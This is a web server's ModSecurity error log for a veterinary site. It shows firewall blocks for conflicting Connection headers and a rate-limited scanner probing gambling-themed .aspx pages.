[Wed May 20 14:39:55.264928 2026] [:error] [pid 7664:tid 7670] [client 162.14.81.106:49488] [client 162.14.81.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag1XO3Z8s7o3eiqT2kvP7gAAAUM"]
[Wed May 20 15:05:51.196351 2026] [:error] [pid 7664:tid 7685] [client 43.153.208.32:34288] [client 43.153.208.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag1dT3Z8s7o3eiqT2kvTfAAAAVI"]
[Wed May 20 16:56:54.619892 2026] [:error] [pid 7664:tid 7691] [client 51.75.119.75:48144] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ag13VnZ8s7o3eiqT2kvgtQAAAVg"]
[Wed May 20 16:56:57.420747 2026] [:error] [pid 44059:tid 44076] [client 51.75.119.75:35994] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ag13WRfFs-oSOOcyjyzxIgAAAQ8"]
[Wed May 20 16:56:59.974321 2026] [:error] [pid 41364:tid 41375] [client 51.75.119.75:36010] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ag13WxKTmyvxtNXrN-iq9QAAAIk"]
[Wed May 20 16:57:02.500889 2026] [:error] [pid 44059:tid 44084] [client 51.75.119.75:36018] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ag13XhfFs-oSOOcyjyzxJwAAARc"]
[Wed May 20 16:57:05.172838 2026] [:error] [pid 44059:tid 44062] [client 51.75.119.75:42292] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ag13YRfFs-oSOOcyjyzxKQAAAQE"]
[Wed May 20 16:57:07.973022 2026] [:error] [pid 44059:tid 44079] [client 51.75.119.75:42294] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ag13YxfFs-oSOOcyjyzxLgAAARI"]
[Wed May 20 16:57:10.764283 2026] [:error] [pid 41278:tid 41322] [client 51.75.119.75:42296] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ag13ZvWiNKASEfiGdwahdAAAAE0"]
[Wed May 20 16:57:13.487699 2026] [:error] [pid 41278:tid 41314] [client 51.75.119.75:42300] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ag13afWiNKASEfiGdwahdQAAAEU"]
[Wed May 20 16:57:16.187382 2026] [:error] [pid 41278:tid 41312] [client 51.75.119.75:59572] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ag13bPWiNKASEfiGdwaheQAAAEM"]
[Wed May 20 16:57:18.862840 2026] [:error] [pid 41278:tid 41310] [client 51.75.119.75:59574] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ag13bvWiNKASEfiGdwahfAAAAEE"]
[Wed May 20 16:57:21.415492 2026] [:error] [pid 41277:tid 41288] [client 51.75.119.75:59578] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ag13cbTTCltJmboB5ufvkAAAAAY"]
[Wed May 20 16:57:23.879051 2026] [:error] [pid 41364:tid 41378] [client 51.75.119.75:59584] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ag13cxKTmyvxtNXrN-irBAAAAIw"]
[Wed May 20 16:57:26.405791 2026] [:error] [pid 7731:tid 7738] [client 51.75.119.75:59564] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ag13dn9qQlHXbkl2nEvGTwAAAYU"]
[Wed May 20 16:57:28.895867 2026] [:error] [pid 41279:tid 41351] [client 51.75.119.75:59576] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ag13eLEFyfaehGZbt4yAWAAAAM8"]
[Wed May 20 16:57:31.653624 2026] [:error] [pid 44059:tid 44083] [client 51.75.119.75:59584] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ag13exfFs-oSOOcyjyzxOgAAARY"]
[Wed May 20 16:57:34.337950 2026] [:error] [pid 41364:tid 41382] [client 51.75.119.75:59600] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ag13fhKTmyvxtNXrN-irDAAAAJA"]
[Wed May 20 16:57:37.037392 2026] [:error] [pid 7664:tid 7667] [client 51.75.119.75:54224] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ag13gXZ8s7o3eiqT2kvgvQAAAUA"]
[Wed May 20 16:57:39.470690 2026] [:error] [pid 41279:tid 41337] [client 51.75.119.75:54230] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ag13g7EFyfaehGZbt4yAWgAAAME"]
[Wed May 20 16:57:42.103633 2026] [:error] [pid 41279:tid 41359] [client 51.75.119.75:54240] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ag13hrEFyfaehGZbt4yAWwAAANc"]
[Wed May 20 16:57:44.799678 2026] [:error] [pid 7731:tid 7736] [client 51.75.119.75:32796] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ag13iH9qQlHXbkl2nEvGXwAAAYM"]
[Wed May 20 16:57:47.405853 2026] [:error] [pid 44059:tid 44065] [client 51.75.119.75:32804] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ag13ixfFs-oSOOcyjyzxQwAAAQQ"]
[Wed May 20 16:57:49.966365 2026] [:error] [pid 7731:tid 7740] [client 51.75.119.75:32816] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ag13jX9qQlHXbkl2nEvGbwAAAYc"]
[Wed May 20 16:59:12.716612 2026] [:error] [pid 41364:tid 41389] [client 51.75.119.75:49388] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/789%20slot.aspx"] [unique_id "ag134BKTmyvxtNXrN-irTwAAAJc"]
[Wed May 20 16:59:14.991161 2026] [:error] [pid 7731:tid 7746] [client 51.75.119.75:60140] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "ag134n9qQlHXbkl2nEvG-QAAAY0"]
[Wed May 20 16:59:17.465623 2026] [:error] [pid 7731:tid 7745] [client 51.75.119.75:60142] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "ag135X9qQlHXbkl2nEvHAAAAAYw"]
[Wed May 20 16:59:19.850603 2026] [:error] [pid 41279:tid 41343] [client 51.75.119.75:60146] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "ag1357EFyfaehGZbt4yAfgAAAMc"]
[Wed May 20 16:59:22.366806 2026] [:error] [pid 7731:tid 7745] [client 51.75.119.75:60160] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "ag136n9qQlHXbkl2nEvHIQAAAYw"]
[Wed May 20 16:59:24.898709 2026] [:error] [pid 7731:tid 7736] [client 51.75.119.75:35350] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ag137H9qQlHXbkl2nEvHKwAAAYM"]
[Wed May 20 16:59:27.395053 2026] [:error] [pid 7731:tid 7753] [client 51.75.119.75:35362] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ag13739qQlHXbkl2nEvHLwAAAZQ"]
[Wed May 20 16:59:29.735820 2026] [:error] [pid 44059:tid 44072] [client 51.75.119.75:35364] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ag138RfFs-oSOOcyjyzxdwAAAQs"]
[Wed May 20 16:59:32.262037 2026] [:error] [pid 7731:tid 7738] [client 51.75.119.75:35370] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ag139H9qQlHXbkl2nEvHOwAAAYU"]
[Wed May 20 16:59:34.809253 2026] [:error] [pid 7664:tid 7691] [client 51.75.119.75:35640] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ag139nZ8s7o3eiqT2kvg_gAAAVg"]
[Wed May 20 16:59:37.328015 2026] [:error] [pid 44059:tid 44067] [client 51.75.119.75:35646] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ag13-RfFs-oSOOcyjyzxgAAAAQY"]
[Wed May 20 16:59:39.845976 2026] [:error] [pid 7664:tid 7674] [client 51.75.119.75:35660] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ag13-3Z8s7o3eiqT2kvhAwAAAUc"]
[Wed May 20 16:59:42.375304 2026] [:error] [pid 7664:tid 7675] [client 51.75.119.75:35674] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ag13_nZ8s7o3eiqT2kvhBwAAAUg"]
[Wed May 20 16:59:44.749863 2026] [:error] [pid 41277:tid 41303] [client 51.75.119.75:38140] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ag14ALTTCltJmboB5ufvwAAAABU"]
[Wed May 20 16:59:47.260133 2026] [:error] [pid 7731:tid 7754] [client 51.75.119.75:38142] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ag14A39qQlHXbkl2nEvHVQAAAZU"]
[Wed May 20 16:59:49.783782 2026] [:error] [pid 7664:tid 7684] [client 51.75.119.75:38144] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ag14BXZ8s7o3eiqT2kvhCgAAAVE"]
[Wed May 20 16:59:52.038705 2026] [:error] [pid 44059:tid 44077] [client 51.75.119.75:38146] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ag14CBfFs-oSOOcyjyzxjwAAARA"]
[Wed May 20 16:59:54.397647 2026] [:error] [pid 41364:tid 41366] [client 51.75.119.75:41782] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ag14ChKTmyvxtNXrN-irVgAAAIA"]
[Wed May 20 16:59:56.907446 2026] [:error] [pid 7731:tid 7740] [client 51.75.119.75:41788] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ag14DH9qQlHXbkl2nEvHZQAAAYc"]
[Wed May 20 16:59:59.388645 2026] [:error] [pid 41364:tid 41372] [client 51.75.119.75:41792] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ag14DxKTmyvxtNXrN-irVwAAAIY"]
[Wed May 20 17:00:01.928173 2026] [:error] [pid 7731:tid 7745] [client 51.75.119.75:41796] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ag14EX9qQlHXbkl2nEvHcAAAAYw"]
[Wed May 20 17:00:04.287829 2026] [:error] [pid 7731:tid 7744] [client 51.75.119.75:60550] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ag14FH9qQlHXbkl2nEvHcQAAAYs"]
[Wed May 20 17:00:06.800749 2026] [:error] [pid 7731:tid 7753] [client 51.75.119.75:60566] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ag14Fn9qQlHXbkl2nEvHdgAAAZQ"]
[Wed May 20 17:19:13.033247 2026] [:error] [pid 44059:tid 44068] [client 49.51.253.26:39726] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag18kRfFs-oSOOcyjyz1aQAAAQc"]
[Wed May 20 17:26:11.370995 2026] [:error] [pid 7664:tid 7682] [client 38.154.90.11:59447] [client 38.154.90.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag1-M3Z8s7o3eiqT2kvkKgAAAU8"]
[Wed May 20 17:26:11.391501 2026] [:error] [pid 7664:tid 7670] [client 38.154.90.11:40292] [client 38.154.90.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "ag1-M3Z8s7o3eiqT2kvkKwAAAUM"]
[Wed May 20 17:26:11.391823 2026] [:error] [pid 41279:tid 41344] [client 38.154.90.11:44667] [client 38.154.90.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/sitemap.xml"] [unique_id "ag1-M7EFyfaehGZbt4yCgQAAAMg"]
[Wed May 20 17:26:12.748551 2026] [:error] [pid 41277:tid 41285] [client 38.154.90.11:54284] [client 38.154.90.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "ag1-NLTTCltJmboB5ufxgQAAAAM"]
[Wed May 20 17:26:12.774759 2026] [:error] [pid 44059:tid 44068] [client 38.154.90.11:48401] [client 38.154.90.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/sitemap.xml"] [unique_id "ag1-NBfFs-oSOOcyjyz28wAAAQc"]
